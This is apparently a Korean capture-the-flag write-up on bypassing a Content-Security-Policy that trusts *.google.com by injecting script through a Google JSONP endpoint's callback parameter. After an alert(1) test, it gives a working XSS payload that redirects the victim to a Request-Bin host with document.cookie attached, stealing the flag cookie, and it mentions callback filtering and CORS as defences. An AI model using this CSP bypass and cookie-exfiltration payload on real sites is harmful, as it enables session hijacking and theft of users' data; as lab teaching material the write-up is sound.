문제 페이지에 접속해 보면 다음과 같이 inject라는 파라미터 값이 화면에 출력된다.

요청과 응답 내용을 보자.

CSP 정책을 보면 다음과 같이 설정되어있다.
Content-Security-Policy: script-src https://*.google.com/;
https://*.google.com/ 주소로부터의 script는 허용을 하겠다는 뜻이다.
JSONP API
정의 : 브라우저의 보안 정책인 동일 출처 정책(SOP)을 우회하여, 다른 도메인(cross-domain)의 서버에서 데이터를 가져오기 위해 사용하는 기술
<script> 태그의 src 속성으로 데이터를 요청하고, 서버는 JSON 데이터를 클라이언트에서 정의한 콜백 함수로 감싸서 응답하는 방식으로 동작
작동 방식 예시
1. 클라이언트: <script src="https://example.com"></script> 형태로 요청
2. 서버: myCallback({"name": "John", "age": 30}); 형태의 JavaScript 코드를 응답
3. 브라우저: 받아온 스크립트를 즉시 실행하여, 정의된 myCallback 함수로 데이터를 전달받음
만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능하다.
EX)
문제의 CSP 정책과 같이 웹 페이지에서 *.google.com에서 온 출처만 허용하는 경우다.
이 경우, 구글에서 JSONP API를 지원하는 서버를 찾아 **callback**에 원하는 스크립트를 삽입할 수 있다.
JSONP API의 예시로 아래와 같은 Google Accounts 서비스를 들 수 있다.
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)
JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있다.
그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는 것이 좋다.
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API 결과:
// API callback
alert(1);({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
"status": "INVALID_ARGUMENT"
}
}
);
JSONP API의 문자 검사
-->
inject 파라미터에 다음과 같이 JSONP API를 사용해 alertI(1)을 실행하는 코드를 삽입해보자.
?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

alert(1) 실행에 성공했다.
그렇다면 이 callback의 alert(1)을 사용자의 쿠키를 탈취하는 코드로 교체한다.
Payload
?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://Request-Bin.request.dreamhack.games?cookie='%252bdocument.cookie;"></script>
Request Bin 확인

Flag 값이 탈취되었다.